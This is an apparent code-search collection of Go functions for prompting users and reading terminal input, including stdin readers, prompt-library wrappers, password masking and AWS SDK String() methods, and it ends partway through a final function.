[ "func prompt(promptText string) string {\n\tfmt.Fprint(cmdmain.Stdout, promptText)\n\tsc := bufio.NewScanner(cmdmain.Stdin)\n\tsc.Scan()\n\treturn strings.TrimSpace(sc.Text())\n}", "func promptString(question string, details string) (answer string) {\n\tfmt.Print(colors.Blue(question) + \" (\" + details + \"): \")\n\tfmt.Scanln(&answer)\n\treturn\n}", "func (s Prompt) String() string {\n\treturn awsutil.Prettify(s)\n}", "func prompt(v interface{}) (string, error) {\n\tval, ok := v.(string)\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"expected string, got %T\", v)\n\t}\n\treturn fmt.Sprintf(\"%q\", val), nil\n}", "func GetString(promptMessage string) string {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Print(aurora.Bold(aurora.Cyan(promptMessage)))\n\tresponse, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\tGeneralErr(err, \"Failed to parse input (ln 25 prompt.go)\")\n\t}\n\treturn strings.TrimRight(response, \"\\r\\n\")\n}", "func (t *GenericPrompt) PromptString() string {\n\treturn t.PromptStr\n}", "func Prompt(msg string) (string, error) {\n\tif !IsInteractive() {\n\t\treturn \"\", fmt.Errorf(\"not an interactive session\")\n\t}\n\n\tpromptMux.Lock()\n\tdefer promptMux.Unlock()\n\n\tvar v string\n\tfmt.Fprintf(os.Stderr, \"%s: \", msg)\n\t_, err := fmt.Scanln(&v)\n\treturn v, err\n}", "func (f *Fs) Prompt(key, question string) string {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Print(\"string | \" + question)\n\ttext, _ := reader.ReadString('\\n')\n\ttext = strings.TrimSpace(text)\n\ttext = strings.TrimRight(text, \"`\")\n\ttext = strings.TrimLeft(text, \"`\")\n\tif strings.Contains(text, \"?\") {\n\t\tnewtext := strings.Split(text, \"?\")\n\t\ttext = newtext[0]\n\t}\n\tf.Set(key, text)\n\treturn text\n}", "func (cli *CliPrompter) String(pr string, defaultValue string) string {\n\tval := \"\"\n\tprompt := &survey.Input{\n\t\tMessage: pr,\n\t\tDefault: defaultValue,\n\t}\n\t_ = survey.AskOne(prompt, &val)\n\treturn val\n}", "func (term *Terminal) simplePrompt(prefix string) (string, error) {\n\tif term.simpleReader == nil {\n\t\tterm.simpleReader = bufio.NewReader(term.In)\n\t}\n\n\t_, err := term.Out.Write([]byte(prefix))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tline, err := term.simpleReader.ReadString('\\n')\n\tline = strings.TrimRight(line, \"\\r\\n \")\n\tline = strings.TrimLeft(line, \" \")\n\n\treturn line, err\n}", "func (s CreatePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func Prompt(stream io.Reader, message string, defaultIdx int, options ...string) (string, error) {\n\tif len(options) < 1 {\n\t\treturn \"\", errors.New(\"no options specified\")\n\t}\n\n\tvalidOptions := map[string]bool{}\n\n\tvar buf bytes.Buffer\n\tbuf.WriteString(message)\n\n\tbuf.WriteString(\" (\")\n\tfor i, o := range options {\n\t\tvalidOptions[strings.ToLower(o)] = true\n\n\t\tif i == defaultIdx {\n\t\t\tbuf.WriteString(strings.Title(o))\n\t\t} else {\n\t\t\tbuf.WriteString(o)\n\t\t}\n\n\t\tif i < len(options)-1 {\n\t\t\tbuf.WriteString(\"/\")\n\t\t}\n\t}\n\tbuf.WriteString(\") \")\n\n\treader := bufio.NewReader(stream)\n\tfor {\n\t\tfmt.Print(buf.String())\n\t\tselected, _ := reader.ReadString('\\n')\n\t\tselected = strings.TrimSpace(selected)\n\n\t\tif selected == \"\" {\n\t\t\treturn options[defaultIdx], nil\n\t\t}\n\n\t\tif valid, _ := validOptions[strings.ToLower(selected)]; valid {\n\t\t\treturn selected, nil\n\t\t}\n\t}\n}", "func Prompt(prompt string) (s string, err error) {\n\tfmt.Printf(\"%s\", prompt)\n\tstdin := bufio.NewReader(os.Stdin)\n\tl, _, err := stdin.ReadLine()\n\treturn string(l), err\n}", "func promptString(label string, validation func(i string) error) (input string, err error) {\n\tprompt := survey.Input{\n\t\tMessage: label,\n\t}\n\tvar res string\n\tif err := survey.AskOne(&prompt, &res); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn res, nil\n}", "func (s CreatePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func Prompt(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string) {\n\ts := a.GetDestination()\n\tformatted := format(a, textColorPrompt, emoji, prefix, message)\n\tfmt.Fprint(s, formatted)\n}", "func Ask(label, startString string) (string, error) {\n\tp := Prompt{\n\t\tBasicPrompt: BasicPrompt{\n\t\t\tLabel: label,\n\t\t\tDefault: startString,\n\t\t},\n\t}\n\treturn p.Run()\n}", "func (p Property) PromptString(str string) string {\n\treturn fmt.Sprintf(\"%s%s%s\", p.PromptEscape(), str, Reset.PromptEscape())\n}", "func (s PromptSpecification) String() string {\n\treturn awsutil.Prettify(s)\n}", "func Prompt(msg string, isPassword bool) (string, error) {\n\tvalidate := func(input string) error {\n\t\tif input == \"\" {\n\t\t\treturn errors.New(\"Value can't be empty\")\n\t\t}\n\t\treturn nil\n\t}\n\n\tvar prompt promptui.Prompt\n\tif isPassword == true {\n\t\tprompt = promptui.Prompt{\n\t\t\tLabel: msg,\n\t\t\tValidate: validate,\n\t\t\tMask: '*',\n\t\t}\n\t} else {\n\t\tprompt = promptui.Prompt{\n\t\t\tLabel: msg,\n\t\t\tValidate: validate,\n\t\t}\n\t}\n\n\tresult, err := prompt.Run()\n\tHandleError(err)\n\n\treturn result, nil\n}", "func (p *Prompt) Ask(text string, opts *InputOptions) (string, error) {\n\tformat := p.fmtInputOptions(opts)\n\n\tresp, err := p.read(text, format)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tinput := strings.TrimSpace(resp)\n\n\t// show me what you're working with\n\tswitch input {\n\tcase \"\":\n\t\t// check the opts\n\t\tswitch opts {\n\t\tcase nil:\n\t\t\t// no options and no input means we return an error\n\t\t\treturn \"\", errors.New(\"no input or default value provided\")\n\t\tdefault:\n\t\t\t// check if there is a default to return\n\t\t\tif opts.Default != \"\" {\n\t\t\t\treturn opts.Default, nil\n\t\t\t}\n\n\t\t\tif opts.Validator != nil {\n\t\t\t\t// validate in provided input - even if empty\n\t\t\t\tif err := opts.Validator(input); err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tdefault:\n\t\tswitch opts {\n\t\tcase nil:\n\t\t\t// there are no options, so just return the input\n\t\t\treturn input, nil\n\t\tdefault:\n\t\t\tif opts.Validator != nil {\n\t\t\t\t// validate in provided input\n\t\t\t\tif err := opts.Validator(input); err != nil {\n\t\t\t\t\treturn \"\", err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn input, nil\n}", "func (s DescribePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s Style) PromptString(str string) string {\n\treturn fmt.Sprintf(\"%s%s%s\", s.PromptEscape(), str, Reset.PromptEscape())\n}", "func Promptf(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string, args ...interface{}) {\n\ts := a.GetDestination()\n\tformatted := format(a, textColorPrompt, emoji, prefix, message)\n\tfmt.Fprintf(s, formatted, args...)\n}", "func (c *Client) Ask(prompt string) string {\n\tfmt.Printf(\"%s \", prompt)\n\trd := bufio.NewReader(os.Stdin)\n\tline, err := rd.ReadString('\\n')\n\tif err == nil {\n\t\treturn strings.TrimSpace(line)\n\t}\n\treturn \"\"\n}", "func (s DescribePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func AskString(question string) string {\n\tfmt.Fprintf(Writer, \"%s:\\n\\t\", question)\n\ts, _ := readline()\n\treturn s\n}", "func (s PromptSummary) String() string {\n\treturn awsutil.Prettify(s)\n}", "func Input(prompt string) string {\n\ttext, err := InputWithError(prompt)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn text\n}", "func (p Package) StringToPrompt() string {\n\treturn fmt.Sprintf(\"Repo:\\t%s/%s\\nTag:\\t%s\\nAsset:\\t%s\\nBinary:\\t%s\", p.Repository.Owner, p.Repository.Name, p.Release.Tag, p.Asset.DownloadURL.FileName().String(), p.ExecBinary.Name)\n}", "func getTextInput(prompt string) (string, error) {\n\t// printing the prompt with tabWriter to ensure adequate formatting of tabulated list of options\n\ttabWriter := help.StdoutWriter\n\tfmt.Fprint(tabWriter, prompt)\n\ttabWriter.Flush()\n\n\treader := bufio.NewReader(os.Stdin)\n\ttext, err := reader.ReadString('\\n')\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttext = strings.TrimSuffix(text, \"\\n\")\n\ttext = strings.TrimSuffix(text, \"\\r\")\n\n\treturn text, nil\n}", "func Prompt(prompt string, refresh func(int, int)) string {\n\treturn PromptWithCallback(prompt, refresh, nil)\n}", "func (s *promptString) promptString() error {\n\tprompt := promptui.Prompt{\n\t\tLabel: s.label,\n\t\tDefault: s.defaultValue,\n\t}\n\n\tswitch s.validation {\n\tcase \"email\":\n\t\tprompt.Validate = validateEmailInput\n\tcase \"no-spaces-and-no-uppercase\":\n\t\tprompt.Validate = validateWhiteSpacesAndUpperCase\n\tcase \"url\":\n\t\tprompt.Validate = validateURL\n\tdefault:\n\t\tprompt.Validate = validateEmptyInput\n\t}\n\n\tresult, err := prompt.Run()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.value = result\n\treturn nil\n}", "func (q *Query) Prompt() {\n\tfmt.Printf(\"\\n%s [%s]: \", q.Question, q.DefaultValue)\n\tvar response string\n\tfmt.Scanln(&response)\n\tq.Answer = response\n\n}", "func InputPrompt(label string, required bool) string {\n\tinput := bufio.NewScanner(os.Stdin)\n\n\tfmt.Printf(\"%s : \\n\", label)\n\tfor input.Scan() {\n\n\t\tinputValue := input.Text()\n\t\tif !required || len(inputValue) > 0 {\n\t\t\treturn inputValue\n\t\t}\n\n\t\tfmt.Printf(\"%s : \\n\", label)\n\t}\n\n\treturn \"\"\n}", "func PromptMessage(message, value string) string {\n\tfor value == \"\" {\n\t\treader := bufio.NewReader(os.Stdin)\n\t\tfmt.Print(message + \": \")\n\t\tvalueRaw, err := reader.ReadString('\\n')\n\t\terrors.CheckError(err)\n\t\tvalue = strings.TrimSpace(valueRaw)\n\t}\n\treturn value\n}", "func (s UpdatePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func ReadString(prompt string) string {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Print(prompt)\n\ttext, _ := reader.ReadString('\\n')\n\tcleanText := strings.TrimSpace(text)\n\tif cleanText == \"exit\" {\n\t\tlog.Fatal(\"exitting program...\")\n\t}\n\n\treturn cleanText\n}", "func (console *Console) Prompt() (string, error) {\n\tfmt.Print(\">\")\n\n\trawInput, hasMore, err := console.reader.ReadLine()\n\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"issue reading from STDIN\")\n\t}\n\n\tinput := string(rawInput)\n\n\tif hasMore {\n\t\trawInput, hasMore, err = console.reader.ReadLine()\n\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrap(err, \"issue reading additional characters in buffer\")\n\t\t}\n\n\t\tinput += string(rawInput)\n\t}\n\n\treturn input, nil\n}", "func (f *Factor) Prompt() string { return f.driver().prompt(f) }", "func (c *Confirm) Prompt(rl *readline.Instance) (interface{}, error) {\n\t// render the question template\n\tout, err := core.RunTemplate(\n\t\tConfirmQuestionTemplate,\n\t\tConfirmTemplateData{Confirm: *c},\n\t)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// use the result of the template as the prompt for the readline instance\n\trl.SetPrompt(fmt.Sprintf(out))\n\n\t// start waiting for input\n\tanswer, err := c.getBool(rl)\n\t// if something went wrong\n\tif err != nil {\n\t\t// bubble up\n\t\treturn \"\", err\n\t}\n\n\t// convert the boolean into the appropriate string\n\treturn answer, nil\n}", "func (m *PromptManager) CustomText(p string, l string, opts ...RequestOption) (t map[string]interface{}, err error) {\n\terr = m.Request(\"GET\", m.URI(\"prompts\", p, \"custom-text\", l), &t, opts...)\n\treturn\n}", "func PromptForSecret(msg string) (string, error) {\n\tfmt.Print(msg)\n\n\tvar resp string\n\tif _, err := ScanlnNoEcho(&resp); err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Print new line after prompt since new line wasn't echoed\n\tfmt.Println()\n\n\treturn resp, nil\n}", "func (s UpdatePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func Prompt() string {\n\tfillMessage(&msg)\n\tgitMsg := msg.String()\n\tInfo(\"\\nCommit message is:\\n%s\\n\", gitMsg)\n\tvar err error\n\tcp := bb.ConfirmPrompt{\n\t\tBasicPrompt: bb.BasicPrompt{\n\t\t\tLabel: \"Is everything OK? Continue\",\n\t\t\tDefault: \"N\",\n\t\t\tNoIcons: true,\n\t\t},\n\t\tConfirmOpt: \"e\",\n\t}\n\tc, err := cp.Run()\n\tcheckConfirmStatus(c, err)\n\tif c == \"E\" {\n\t\tgitMsg, err = bb.Editor(\"\", gitMsg)\n\t\tcheckInterrupt(err)\n\t\tnumlines := len(strings.Split(gitMsg, \"\\n\")) + 2\n\t\tfor ; numlines > 0; numlines-- {\n\t\t\tfmt.Print(bb.ClearUpLine())\n\t\t}\n\t\tInfo(\"Commit message is:\\n%s\", gitMsg)\n\t\tcheckConfirmStatus(bb.Confirm(\"Is everything OK? Continue\", \"N\", true))\n\t\treturn gitMsg\n\t}\n\treturn gitMsg\n}", "func (t Terminal) Read(prompt string) (string, error) {\n\tif prompt != \"\" {\n\t\tfmt.Fprintf(t.Output, \"%s \", prompt)\n\t}\n\n\treader := bufio.NewReader(t.Input)\n\n\ttext, readErr := reader.ReadString('\\n')\n\tif readErr != nil {\n\t\treturn \"\", readErr\n\t}\n\n\ttext = strings.TrimSpace(text)\n\n\treturn text, nil\n}", "func PromptUsername(username string) string {\n\treturn PromptMessage(\"Username\", username)\n}", "func (m *display) Text(data string) (int) {\n\tn := m.Send([]byte(data))\n\treturn n\n}", "func (s GetPromptFileInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func ConsolePromptAndAnswer(prompt string, replyLowercase bool, autoTrim ...bool) string {\n\tfmt.Print(prompt)\n\n\tanswer := \"\"\n\n\tif _, e := fmt.Scanln(&answer); e != nil {\n\t\tanswer = \"\"\n\t\tfmt.Println()\n\t} else {\n\t\tanswer = RightTrimLF(answer)\n\n\t\tif replyLowercase {\n\t\t\tanswer = strings.ToLower(answer)\n\t\t}\n\n\t\tif len(autoTrim) > 0 {\n\t\t\tif autoTrim[0] {\n\t\t\t\tanswer = Trim(answer)\n\t\t\t}\n\t\t}\n\n\t\tfmt.Println()\n\t}\n\n\treturn answer\n}", "func (t *GenericPrompt) Parse(value string) error {\n\treturn t.ParseValue(value)\n}", "func Text(s string) string {\n\treturn au.Magenta(s).String()\n}", "func PromptTextInput(introwords string, isValid validCheck, uiEvents <-chan ui.Event, menus chan<- string) (string, error) {\n\tmenus <- introwords\n\tdefer ui.Clear()\n\tinput, _, err := processInput(introwords, 0, 80, 1, isValid, uiEvents)\n\treturn input, err\n}", "func (dbg *Debug) GetPrompt(name string) string {\n\thi := dbg.GetCurrentHart()\n\tstate := []rune{'h', 'r'}[util.BoolToInt(hi.State == rv.Running)]\n\treturn fmt.Sprintf(\"%s.%d%c> \", name, hi.ID, state)\n}", "func (term *Terminal) prompt(buf *Buffer, in io.Reader) (string, error) {\n\tinput, err := term.setup(buf, in)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tterm.History = append(term.History, \"\")\n\tterm.histIdx = len(term.History) - 1\n\tcurHistIdx := term.histIdx\n\n\tfor {\n\t\ttyp, char, err := term.read(input)\n\t\tif err != nil {\n\t\t\treturn buf.String(), err\n\t\t}\n\n\t\tswitch typ {\n\t\tcase evChar:\n\t\t\terr = buf.Insert(char)\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.History[curHistIdx] = buf.String()\n\t\tcase evSkip:\n\t\t\tcontinue\n\t\tcase evReturn:\n\t\t\terr = buf.EndLine()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tline := buf.String()\n\t\t\tif line == \"\" {\n\t\t\t\tterm.histIdx = curHistIdx - 1\n\t\t\t\tterm.History = term.History[:curHistIdx]\n\t\t\t} else {\n\t\t\t\tterm.History[curHistIdx] = line\n\t\t\t}\n\n\t\t\treturn line, nil\n\t\tcase evEOF:\n\t\t\terr = buf.EndLine()\n\t\t\tif err == nil {\n\t\t\t\terr = ErrEOF\n\t\t\t}\n\n\t\t\treturn buf.String(), err\n\t\tcase evCtrlC:\n\t\t\terr = buf.EndLine()\n\t\t\tif err == nil {\n\t\t\t\terr = ErrCTRLC\n\t\t\t}\n\n\t\t\treturn buf.String(), err\n\t\tcase evBack:\n\t\t\terr = buf.DelLeft()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.History[curHistIdx] = buf.String()\n\t\tcase evClear:\n\t\t\terr = buf.ClsScreen()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evHome:\n\t\t\terr = buf.Start()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evEnd:\n\t\t\terr = buf.End()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evUp:\n\t\t\tidx := term.histIdx\n\t\t\tif term.histIdx > 0 {\n\t\t\t\tidx--\n\t\t\t}\n\n\t\t\terr = buf.Set([]rune(term.History[idx])...)\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.histIdx = idx\n\t\tcase evDown:\n\t\t\tidx := term.histIdx\n\t\t\tif term.histIdx < len(term.History)-1 {\n\t\t\t\tidx++\n\t\t\t}\n\n\t\t\terr = buf.Set([]rune(term.History[idx])...)\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.histIdx = idx\n\t\tcase evRight:\n\t\t\terr = buf.Right()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evLeft:\n\t\t\terr = buf.Left()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\t\tcase evDel:\n\t\t\terr = buf.Del()\n\t\t\tif err != nil {\n\t\t\t\treturn buf.String(), err\n\t\t\t}\n\n\t\t\tterm.History[curHistIdx] = buf.String()\n\t\t}\n\t}\n}", "func PrintPrompt() {\n\n\tvar prompt String\n\n\tme := syscall.GetUser()\n\tpath = \"/user/\" + me\n\tprompt = String(\"[\" + String(me) + \" @ \" + currDirectory + \"]: \")\n\n\taltEthos.WriteStream(syscall.Stdout, &prompt)\n\n}", "func PrintPrompt(g *gocui.Gui) {\n\tpromptString := \"[w,a,s,d,e,?] >>\"\n\n\tg.Update(func(g *gocui.Gui) error {\n\t\tv, err := g.View(Prompt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tv.Clear()\n\t\tv.MoveCursor(0, 0, true)\n\n\t\tif consecutiveError == 0 {\n\t\t\tfmt.Fprintf(v, color.Green(color.Regular, promptString))\n\t\t} else {\n\t\t\tfmt.Fprintf(v, color.Red(color.Regular, promptString))\n\t\t}\n\t\treturn nil\n\t})\n}", "func ReadString(prompt string) string {\n\tfmt.Printf(\"%s: \", prompt)\n\tr := bufio.NewReader(os.Stdin)\n\tstr, _ := r.ReadString('\\n')\n\treturn strings.TrimSpace(str)\n}", "func (v Repository) Prompt() string {\n\tif v.Path == \".\" {\n\t\treturn \"\"\n\t}\n\treturn v.Path + \"> \"\n}", "func (e *Input) Text() string {\n\treturn e.text.String()\n}", "func GetBasicArithmeticPromptString(function string) (string, string) {\n\tswitch function {\n\tcase \"permutation\", \"p\", \"combination\", \"c\":\n\t\treturn \"n\", \"r\"\n\tdefault:\n\t\treturn \"x\", \"y\"\n\t}\n}", "func Promptln(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string) {\n\ts := a.GetDestination()\n\tformatted := format(a, textColorPrompt, emoji, prefix, message)\n\tfmt.Fprintln(s, formatted)\n}", "func terminalPrompt(prompt string) (string, error) {\n\tfmt.Printf(\"%s: \", prompt)\n\tb, err := terminal.ReadPassword(1)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfmt.Println()\n\treturn string(b), nil\n}", "func (s GetPromptFileOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DeletePromptInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s PromptAttemptSpecification) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (module *Crawler) Prompt(what string) {\n}", "func Ask(question string) string {\n\tfmt.Fprintln(Out, question)\n\n\treturn prompt()\n}", "func ReadString(prompt string) ([]byte, error) {\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Fprintf(os.Stderr, \"%v \", prompt)\n\tline, _ := reader.ReadString('\\n')\n\tline = strings.TrimRight(line, \" \\n\\r\")\n\treturn []byte(line), nil\n}", "func (p *Player) prompt() {\n\t// TODO: standard/custom prompts\n\tp.writer.Write([]byte(\">\"))\n}", "func (i *Input) Text() string {\n\tif len(i.lines) == 0 {\n\t\treturn \"\"\n\t}\n\n\tif len(i.lines) == 1 {\n\t\treturn i.lines[0]\n\t}\n\n\tif i.IsMultiLine {\n\t\treturn strings.Join(i.lines, NEW_LINE)\n\t} else {\n\t\t// we should never get here!\n\t\treturn i.lines[0]\n\t}\n}", "func (t *Term) Prompt(prompt string) {\n\tt._prompt = prompt\n}", "func PromptUserForInput(prompt string, terragruntOptions *options.TerragruntOptions) (string, error) {\n\t// We are writing directly to ErrWriter so the prompt is always visible\n\t// no matter what logLevel is configured. If `--non-interactive` is set, we log both prompt and\n\t// a message about assuming `yes` to Debug, so\n\tif terragruntOptions.NonInteractive {\n\t\tterragruntOptions.Logger.Debugf(prompt)\n\t\tterragruntOptions.Logger.Debugf(\"The non-interactive flag is set to true, so assuming 'yes' for all prompts\")\n\t\treturn \"yes\", nil\n\t}\n\tn, err := terragruntOptions.ErrWriter.Write([]byte(prompt))\n\tif err != nil {\n\t\tterragruntOptions.Logger.Error(err)\n\t\treturn \"\", errors.WithStackTrace(err)\n\t}\n\tif n != len(prompt) {\n\t\tterragruntOptions.Logger.Errorln(\"Failed to write data\")\n\t\treturn \"\", errors.WithStackTrace(err)\n\t}\n\n\treader := bufio.NewReader(os.Stdin)\n\n\ttext, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\treturn \"\", errors.WithStackTrace(err)\n\t}\n\n\treturn strings.TrimSpace(text), nil\n}", "func Prompt(s string) rune {\n\tacceptedRunes := \"\"\n\n\t// show parentheticals in bold\n\tline := make([]segment, 0)\n\tpos := 0\n\tfor pos < len(s) {\n\t\topen := strings.IndexRune(s[pos:], '(')\n\t\tif open == -1 {\n\t\t\tline = append(line, segment{text: s[pos:]})\n\t\t\tbreak\n\t\t} else {\n\t\t\tclose := strings.IndexRune(s[pos+open:], ')')\n\t\t\tif close == -1 {\n\t\t\t\tline = append(line, segment{text: s[pos:]})\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tline = append(line, segment{text: s[pos : pos+open]})\n\t\t\t\tline = append(line, segment{\n\t\t\t\t\ttext: s[pos+open : pos+open+close+1],\n\t\t\t\t\tfg: colorDefault | bold,\n\t\t\t\t})\n\t\t\t\tacceptedRunes += s[pos+open+1 : pos+open+close]\n\t\t\t\tpos += open + close + 1\n\t\t\t}\n\t\t}\n\t}\n\n\t// add space before cursor\n\tline = append(line, segment{text: \" \"})\n\n\t// wait for and return a valid rune\n\twrite <- line\n\tchange <- modePrompt\n\tfor {\n\t\tch := <-prompt\n\t\tif strings.ContainsRune(acceptedRunes, ch) {\n\t\t\trewrite <- append(line, segment{text: string(ch)})\n\t\t\tchange <- modeWorking\n\t\t\treturn ch\n\t\t}\n\t}\n}", "func ReadTextFromConsole(message string) (string, error) {\n\treader := bufio.NewReader(os.Stdin)\n\n\tfmt.Print(message)\n\ttext, err := reader.ReadString('\\n')\n\n\treturn text, err\n}", "func (cp *ConfirmPrompt) Run() (string, error) {\n\tswitch cp.Default {\n\tcase \"Y\", \"N\", \"n\", \"y\":\n\tcase \"\":\n\t\tcp.Default = \"N\"\n\tdefault:\n\t\treturn \"\", ErrorIncorrect\n\t}\n\terr := cp.Init()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcp.confirmDefault = strings.ToUpper(cp.Default)\n\n\tcp.c.Stdin = ioutil.NopCloser(io.MultiReader(bytes.NewBuffer([]byte(cp.out)), os.Stdin))\n\n\tcp.rl, err = readline.NewEx(cp.c)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcp.punctuation = \"?\"\n\tanswers := \"y/N\"\n\tif strings.ToLower(cp.Default) == \"y\" {\n\t\tanswers = \"Y/n\"\n\t}\n\tif cp.ConfirmOpt != \"\" {\n\t\tanswers = answers + \"/\" + cp.ConfirmOpt\n\t}\n\tcp.suggestedAnswer = \" \" + faint(\"[\"+answers+\"]\")\n\t// cp.confirmDefault = strings.ToUpper(cp.Default)\n\t// cp.Default = \"\"\n\tcp.prompt = cp.LabelInitial(cp.Label) + cp.punctuation + cp.suggestedAnswer + \" \"\n\t// cp.out = cp.Default\n\t// cp.c.Stdin = ioutil.NopCloser(io.MultiReader(bytes.NewBuffer([]byte(cp.out)), os.Stdin))\n\n\tsetupConfirm(cp.c, cp.prompt, cp, cp.rl)\n\tcp.out, err = cp.rl.Readline()\n\tif cp.out == \"\" {\n\t\tcp.out = cp.confirmDefault\n\t}\n\tif err != nil {\n\t\tif err.Error() == \"Interrupt\" {\n\t\t\terr = ErrInterrupt\n\t\t}\n\t\tcp.rl.Write([]byte(\"\\n\"))\n\t\treturn \"\", err\n\t}\n\tcp.out = strings.ToUpper(cp.out)\n\tcp.state = cp.IconGood\n\tcp.out = cp.Formatter(cp.out)\n\tseparator := \" \"\n\tif cp.NoIcons {\n\t\tseparator = \"\"\n\t}\n\tcp.rl.Write([]byte(cp.Indent + cp.state + separator + cp.prompt + cp.InputResult(cp.out) + \"\\n\"))\n\treturn cp.out, err\n}", "func (s SearchPromptsOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (t *TextField) Text() string {\n\treturn t.input.Unwrap().Get(\"value\").String()\n}", "func Intro() string {\n var name string\n TypedText(\"\\n\\nYou wake up in a cold dark room\", 50)\n TypedText(\"...\", 300)\n TypedText(\"\\n\\nYou can't remember much\", 50)\n TypedText(\"...\", 300)\n TypedText(\"\\n\\nOnly that your name is: \", 50)\n fmt.Scanln(&name)\n if len(name) < 1 || len(name) > 16 {\n fmt.Printf(\"\\nPlease enter a name between 1 and 16 characters.\")\n time.Sleep(3 * time.Second)\n ClearScreen()\n Intro()\n } else {\n TypedText(\"\\nYou don't know how or why you are here\", 50)\n TypedText(\"...\", 300)\n TypedText(\"\\n\\nYou just have a strong urge to escape\", 50)\n TypedText(\"...\", 300)\n }\n \n return name\n}", "func stdInText(b strings.Builder) (string, uint, error) {\n\tvar count uint\n\tscanner := bufio.NewScanner(os.Stdin)\n\n\tfor scanner.Scan() {\n\t\tb.WriteString(scanner.Text())\n\t\tb.WriteString(\" \")\n\t\tcount++\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\treturn \"\", 0, err\n\t}\n\n\treturn strings.TrimSpace(b.String()), count, nil\n}", "func (t *Text) String() string {\n\treturn output(t)\n}", "func userInputString(prompt string) string {\n\n\tfmt.Printf(\"\\n%s\", prompt)\n\treader := bufio.NewReader(os.Stdin)\n\tname, err := reader.ReadString('\\n')\n\tif err != nil {\n \t\tfmt.Println(err)\n \t\treturn \"\"\n \t}\n \tif runtime.GOOS == \"windows\" {\n \t\tname = strings.TrimRight(name, \"\\r\\n\") \t\t/* for windows */\n \t} else {\n\t\tname = strings.TrimRight(name, \"\\n\") \t\t/* for linux */\n\t}\n\treturn name\n}", "func (client *Client) Text() (out string, err error) {\n\tif err = client.init(); err != nil {\n\t\treturn\n\t}\n\tout = C.GoString(C.UTF8Text(client.api))\n\tif client.Trim {\n\t\tout = strings.Trim(out, \"\\n\")\n\t}\n\treturn out, err\n}", "func PromptMessage(a ...interface{}) (n int, err error) {\n\treturn MessageWithType(MsgPrompt, a...)\n}", "func (s SearchPromptsInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (v Season_Uc_Ta) Text() string {\n\ts, _ := v.marshalText()\n\treturn s\n}", "func Text(code Code) string {\n\treturn strconv.Itoa(code.Int()) + \" \" + code.String()\n}", "func (s DeletePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func Prompt() {\n\tcurrDir := strings.Trim(commands.CurrentWD(), \"\\n\")\n\tfmt.Printf(\"%v $: \", currDir)\n}", "func (o TimelineOutput) ProgramText() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Timeline) pulumi.StringOutput { return v.ProgramText }).(pulumi.StringOutput)\n}", "func (t Terminal) Hidden(prompt string) (string, error) {\n\tvar (\n\t\ttext string\n\t\terr error\n\t)\n\n\tif prompt != \"\" {\n\t\tfmt.Fprintf(t.ErrorOutput, \"%s \", prompt)\n\t}\n\n\tin, inIsFile := t.Input.(*os.File)\n\n\tif inIsFile && terminal.IsTerminal(int(in.Fd())) {\n\t\tvar lineBytes []byte\n\n\t\tlineBytes, err = terminal.ReadPassword(int(in.Fd()))\n\t\ttext = string(lineBytes)\n\t} else {\n\t\ttext, err = t.Read(\"\")\n\t}\n\n\tfmt.Fprintln(t.ErrorOutput, 